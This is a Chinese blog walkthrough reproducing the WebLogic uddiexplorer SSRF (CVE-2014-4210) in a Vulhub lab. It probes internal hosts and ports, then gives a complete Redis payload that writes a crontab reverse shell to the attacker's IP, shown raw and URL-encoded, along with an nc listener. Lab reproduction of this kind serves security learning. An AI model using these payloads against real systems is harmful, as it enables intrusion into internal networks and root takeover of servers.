首页 > 其他分享 >Weblogic - V10.0.2 ~V10.3.6 - uddi 组件 SSRF 漏洞 - CVE-2014-4210

Weblogic - V10.0.2 ~V10.3.6 - uddi 组件 SSRF 漏洞 - CVE-2014-4210

时间:2025-01-22 18:28:38浏览次数:3  
标签:4210 SSRF V10.3 Redis 漏洞 20% IP docker

0x01:漏洞简介

Weblogic 的 uddi 组件存在一个 SSRF 漏洞。利用该漏洞,攻击者可发送任意 HTTP 请求,进而对内网中的脆弱组件(redis、fastcgi)进行进一步的攻击。

  • 漏洞点:/uddiexplorer/(无需登录即可访问)

0x02:影响版本

  • Weblogic 10.0.2 ~ Weblogic 10.3.6

0x03:环境搭建

环境准备

  • VulHub 本地资源存储:vulhub-master.zip

  • 靶机环境:CentOS 7 - IP 192.168.0.137 - 安装 VulHub

  • 攻击机环境:Kali Linux - IP 192.168.0.136 + Windows 10 - IP 192.168.0.1(辅助用)

0x0301:靶机环境搭建

靶机:CentOS 7 服务器配置概览

  • Docker & Docker 管理工具:Docker & Docker-Compose - 用来管理 Vulhub 靶场。

  • Git:用来从 GitHub 下载 Vulhub 靶场。

这里我们采用 Vulhub 来进行漏洞的复现,而 Vulhub 需要依靠 docker 来进行管理,对于 CentOS 7 安装 Docker 可以参考下面这篇文章的前两个部分(Docker & Docker-Compose 的安装):

ARL 灯塔 | CentOS7 — ARL 灯塔搭建流程(Docker)_灯塔arl-CSDN博客文章浏览阅读3.4k次,点赞59次,收藏23次。灯塔,全称:ARL 资产侦察灯塔系统,有着域名资产发现和整理、IP/IP 段资产整理、端口扫描和服务识别、WEB 站点指纹识别、资产分组管理和搜索等等功能块。_灯塔arl https://blog.csdn.net/m0_73360524/article/details/143098904

下面我们主要介绍 CentOS 7 如何通过 Git 来安装 Vulhub 靶场,并通过 Docker 来对靶场进行管理和使用。

1. CentOS 7 安装 Git

首先,输入下面的命令安装 Git:

 sudo yum install -y git

然后输入下面的命令校验 Git 是否安装成功:

 git --version

2. Git 下载 Vulhub 靶场源码

https://github.com/vulhub/vulhubhttps://github.com/vulhub/vulhub

输入下面的命令在 /usr/local 文件夹下创建一个 soft 文件夹用以存放安装的软件:

 mkdir /usr/local/soft   # 创建 soft 文件夹
 cd /usr/local/soft      # 进入 soft 文件夹

然后进入 soft 文件夹,输入下面的命令,克隆 Vulhub 项目到本地:

 git clone https://github.com/vulhub/vulhub.git

(可选)如果你无法直接访问到 GitHub,可以通过前面的 “环境准备” 部分直接下载笔者下载好的 VulHub 资源然后上传到服务器中进行安装(笔者也是这样操作的):

 unzip vulhub-master.zip # 解压操作(可选),直接通过 Git 下载的应该不需要解压吧

通过上面两种方式安装完成后,结果应该长这样:

3. 通过 Docker 启动靶场环境

本次演示的是 Weblogic 的 “CVE-2014-4210” 漏洞。首先来到 VulHub 的安装路径:

 cd /usr/local/soft/vulhub-master # 这是我本机安装的目录,可能与你的不一样哦

然后进入漏洞文件夹:

cd weblogic/ssrf/

接下来的命令都要在靶场根目录下执行,也就是有 docker-compose.yml 文件的这个目录(docker-compose 需要通过读取这个文件来快速配置靶场,如果执行命令的地方没有这个文件,docker-compose 是不起作用的哦)。

输入下面的命令直接启动容器(第一次启动它会拉取镜像,会比较慢,然后有部分小伙伴在拉取镜像的时候会报错,这是因为其默认的镜像源在国外,国内访问不到,换个 Docker 镜像源就行):

docker-compose up -d # -d 代表后台启动,如果去掉就是前台启动了

然后输入下面命令,查看 Docker 开启的虚拟环境的端口:

docker ps

接下来直接访问靶机的 7001 端口就可以访问漏洞环境啦:

http://192.168.0.137:7001/console

问题解决:物理机无法访问靶机内部的靶场地址。

问题描述: 通过靶机中的 Docker 启动的虚拟环境,靶机可以访问,但是物理机无法访问。 问题解决:

输入下面的命令,修改 selinux/config 文件中的内容:

vim /etc/selinux/config

关机重启虚拟机后回到我们的靶场目录下,输入下面的命令查看容器 ID:

docker ps -a

然后输入下面的命令,重新启动虚拟环境即可(不同机器的容器 ID 是不一样的):

docker start <容器ID> # 比如上面我的 ID 是 ab84,那我运行的就是 docker start ab84

等待靶机部署完毕后,就会自动跳到 Weblogic 的后台页面啦:

至此,靶机的环境我们已经配置完毕。

4. (附录)Docker 常用命令

以下是一些经常使用的 docker-compose 命令(需要在有 docker-compose.yml 的文件夹下使用):

docker-compose build # 拉取镜像,创建容器
docker-compose up -d # 启动容器,如果没有容器会自动拉取镜像,创建容器
docker-compose stop  # 停止容器(靶场),容器依旧存在可以通过 docker start <容器ID> 重启启动容器
docker-compose down  # 删除容器(靶场)

以下是一些 docker 常用的命令:

docker version # 查看本机 docker 版本
docker info    # 查看 docker 详细信息
docker ps -a   # 列出所有 docker 容器,包括暂停运行的,可查看容器 ID
docker start <容器 ID> # 启动容器
docker stop  <容器 ID> # 暂停容器
docker exec -it <容器 ID> /bin/bash # 进入容器 Bash
    exit       # 退出容器 Bash 
docker rm <容器 ID>    # 删除容器
docker image rm <镜像 ID> # 删除镜像

0x0302:攻击机环境搭建

攻击机没有什么特殊的环境搭建,安装了 BurpSuite 就可以了。(Kali 里肯定有 MSF)

0x04:漏洞复现

单纯的复现 SSRF 漏洞,可能各位小伙伴无法体会该漏洞的危害。所以我们复现不光会展示该漏洞是如何触发的,还会展示如何使用该漏洞对内网脆弱中间件(Redis)进行攻击,从而直接拿到 Redis 服务器的控制权

0x0401:获取内网 Redis 服务器 IP 地址

因为后续我们要通过 SSRF 漏洞攻击目标内网的 Redis 服务器,所以我们得先知道 Redis 服务器的地址(这里也是一个遗憾,我们并不是通过漏洞拿到其内网地址的,而是通过开挂)。

进入靶机,输入下面的命令,查看 Redis 容器的 ID(每个人都不一样):

docker ps

然后输入下面的命令,获取 Redis 容器 IP 地址:

docker exec -it 容器ID ifconfig

如上,成功获取内网 Redis 服务器的 IP 地址。这里我们再强调一下我们的实验环境,我们的攻击机是 Kali IP 是 192.168.0.136,靶机是 CentOS 7 IP 是 192.168.0.137,然后我们在靶机上开了虚拟环境,Redis 服务器位于虚拟环境中,该服务的 IP 是 172.20.0.2。所以对于攻击机 Kali 而言,它是无法直接访问到 Redis 服务器的,而对于 Redis 而言,它可以借助于 CentOS 7 的网卡访问到 Kali。

0x0402:SSRF 漏洞探测内网 IP

访问靶机 7001 端口的 /uddiexplorer 页面,然后点击 “Search Public Registeries”:

点击 Search 按钮并使用 BurpSuite 进行抓包,漏洞点就在 operator 字段:

将该请求包发送到 Repeater 模块中,并修改 operator 的传参,尝试探测目标内网 IP,下面是成功的样式:

http://172.20.0.2
http://172.20.0.4

下面是 IP 不存在的样式:


这里也算是稍微弥补了前面的 Bug 吧,我们可以通过这种方式来间接的获取目标内网的 IP,因为内网 IP 也就那几个范围,耐点心,全部都测试一遍总能猜到的(前提是你得有时间测)。

0x0403:SSRF 漏洞探测内网端口

SSRF 漏洞探测内网端口本来是要使用 dict 协议的,但这里好像不支持。不过问题不大,通过往 HTTP 协议后添加端口也是能达到同样效果的:

http://172.20.0.2:6379

下面是端口不存在给的回应:

http://172.20.0.2:80

0x0404:SSRF 攻击内网 Redis 服务

在前面的探测中,我们已经使用 SSRF 漏洞对目标内网进行了探测,发现在 172.20.0.2 这个机器上存在 6379 端口开放,因此我们可以很容易就判断出目标存在 Redis 服务。那么接下来,我们就尝试构造 Payload 攻击该服务(注意,这里我们是假设该 Redis 服务未设置密码)。

对于 Redis 的未授权访问漏洞,不了解的同学可以去参考下面这篇文章:

Redis - General - 未授权访问漏洞(用户配置问题)-CSDN博客文章浏览阅读1.2k次,点赞21次,收藏16次。首先需要说明,Redis 官方并不认为这个是它们系统的漏洞,他们认为这源自于用户配置不当所造成的问题,所以在很早的 Redis 版本中就可以使用该漏洞进行攻击。在默认配置下,Redis 会绑定至本机的 6379 端口。若用户未采取诸如限制 Redis 访问 IP 等防护措施,且未设置密码认证(Redis 默认密码为空),便直接将 Redis 服务暴露于公网,这将使得任意用户在能够访问目标服务器的情况下,可借助 Redis 自身的 config 命令执行写文件操作。 https://blog.csdn.net/m0_73360524/article/details/145189691

首先,我们登录 Kali 攻击机,输入下面的命令进行端口的监听(准备拿 Shell):

nc -lvp 7777

然后我们开始构造针对 Redis 服务器的反弹连接的 Payload,以下是原始 Payload:

set 1 "\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.0.136/7777 0>&1' \n"
config set dir /etc/
config set dbfilename crontab
save

上面几条命令,第一行是往 Redis 中写入一个定时任务以用来反弹连接,然后第二到三行是临时修改 Redis 服务的存储路径为 /etc/crontab 文件,最后通过 save 将定时任务保存到目标文件。

由于我们要通过 HTTP 请求发送上面的 Payload,所以我们得对 Payload 进行一次 URL 编码:

url在线转码工具-在线url网址编码解码工具-UrlEncode编码-UrlDecode解码在线工具在线URL编码解码工具为了让包含中文的URL可以使用,对网址Url进行UrlEncode编码转换,UrlEncode编码,UrlDecode解码,Url加密工具,URL网址加密解密,在线网址格式化http://www.kuquidc.com/enc/urlencode.php

set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave

由于 Redis 是通过换行符 \r\n 来分割命令的,所以我们需要将上面 Payload 中的换行 \n(URL 编码后为 %0A)全部替换为 \r\n(URL 编码后为 %0D%0A),末尾还需要添加一个 \r\n(这个与 Gopher 协议非常类似):

set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

以上其实应该就是我们核心 Payload 的最终形式。然后这里其实是利用的 Gopher 协议的一种变型吧,Gopher 协议原本应该是 gopher://ip:port/_{payload},然后因为这里不支持 Gopher 开头的协议,所以我们只能使用如下的格式(将 gopher 替换为 http):

http://172.20.0.2:6379/_{payload}

即(上面的 172.20.0.2:6379 是目标 IP + 端口):

 http://172.20.0.2:6379/_set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

但是就是这样了还不行,我们还得在请求的最后随便添加点东西,笔者添加了 yahu(这里也是一个奇怪的规则,我愿意称之为莫名其妙,笔者测试了,如果不在后面添加内容,那个 Shell 根本反弹不出来):

 http://172.20.0.2:6379/_set%201%20%22%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.136%2F7777%200%3E%261'%20%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Ayahu

等待一分钟,Redis 服务器就会将自己的控制权移交给 Kali:

那么至此,CVE-2014-4210 Weblogic uddi 组件 SSRF 漏洞演示完毕。

0x05:参考资料

[Vulhub] Weblogic SSRF 漏洞(CVE-2014-4210)-CSDN博客文章浏览阅读6.5k次,点赞5次,收藏18次。0x00 预备知识01 SSRF概念:SSRF(服务端请求伪造),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。简单的说就是利用一个可发起网络请求的服务当作跳板来攻击其他服务02 SSRF原理SSRF的实质是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般情况下, SSRF攻击的目标是外网无法访问的内部系统,黑客可以利用SSRF漏洞获取内部系统的一些信息(正是因为它是由服务端_cve-2014-4210 https://blog.csdn.net/weixin_45605352/article/details/118899427

标签:4210,SSRF,V10.3,Redis,漏洞,20%,IP,docker
From: https://blog.csdn.net/m0_73360524/article/details/145278962

相关文章

  • 漏洞预警 | WordPress Plugin Radio Player SSRF漏洞
    0x00漏洞编号CVE-2024-543850x01危险等级高危0x02漏洞概述WordPress插件RadioPlayer是一种简单而有效的解决方案,用于将实时流媒体音频添加到您的WordPress网站。0x03漏洞详情CVE-2024-54385漏洞类型:SSRF影响:获取敏感信息简述:RadioPlayer的/wp-admin/admin-......
  • Web漏洞之CSRF和SSRF
    Web漏洞之CSRF和SSRFCSRFCSRF(CrossSiteRequestForgery,跨站请求伪造)是一种通过利用用户身份认证信息,诱导用户执行非预期请求的攻击方式。一、基础知识1.漏洞原理CSRF的核心在于黑客利用用户的身份认证信息,让用户在不知情的情况下向受信任的网站发送请求。例如,黑客......
  • 服务端请求伪造(SSRF)
    一、概述SSRF(Server-SideRequestForgery,服务端请求伪造),是攻击者让服务端发起构造的指定请求链接造成的漏洞。由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。二、成因由于服务端提供......
  • ssrf漏洞
    SSRF漏洞一.前置知识NATSSRF:servicesiderequestforgery服务器请求伪造NAT:NetworkAddressTransition网络地址转换静态NAT地址转换:内网转化为公网ipNAT端口映射:通过防火墙NAT可以实现把私网ip端口映射到公网ip端口访问curl函数三件套curl_init:初始化一个Curl会话......
  • CTFHub-Web-SSRF
    1.CTFHub-内网访问输入:http:127.0.0.1/flag.php得到 2.CTFHub-伪协议读取文件输入:file:///var/www/html/flag.php,查看页面的源代码。(该路径为flag.php文件的路径)3.CTFHub-端口扫描 (1)输入http://127.0.0.1:8000发现页面没反应,实行爆破。 (2)进行抓包  (3)清除pa......
  • 常见漏洞—SSRF_FastCGI
    FastCGI协议简介FastCGI源自旧版本的CGI路由/结构图#访问url-->浏览器生成HTTP请求报文-->webserver解析请求(例如nginx)webserver是内容的分发者当访问静态页面时,webserver会直接返回资源,例如index.html当访问动态页面时,webserver会调用解析器,例如index......
  • CTFHUB靶场关于SSRF保姆级攻略
    一.内网访问输入127.0.0.1/flag.php二.伪协议读取文件输入?url=file:///var/www/html/flag.php右键页面查看源代码三.端口扫描尝试一下index.php,没有显示,说明有这个文件上方题中提示我们端口在8000-9000中我们用burpsuite抓包,开启代理输入?url=127.0.......
  • CTFHub-ssrf
    技能树--Web--SSRF内网访问开启题目尝试访问位于127.0.0.1的flag.php吧进入环境根据提示输入即可127.0.0.1/flag.php伪协议读取文件开启题目尝试去读取一下Web目录下的flag.php吧进入环境,根据提示输入file:///var/www/html/flag.php鼠标右键查看页面源......
  • CTFHUB-web(SSRF)
    内网访问点击进入环境,输入http://127.0.0.1/flag.php伪协议读取文件/?url=file:///var/www/html/flag.php右击查看页面源代码端口扫描1.根据题目提示我们知道端口号在8000-9000之间,使用bp抓包并进行爆破POST请求点击环境,访问flag.php查看页......
  • 全能文档压缩软件 NXPowerLite v10.3.1 中文注册版
    NXPowerLiteDesktopEdition是一款专为办公文档优化设计的强大工具,能够无损压缩 Word、Excel、PPT 以及 PDF 文件。它通过智能压缩图片和文字来缩小文件体积,不影响内容质量,使文件传输更快速,也便于存储。这款工具由英国Neuxpower软件公司开发,操作简单,运行高效,是办公人士......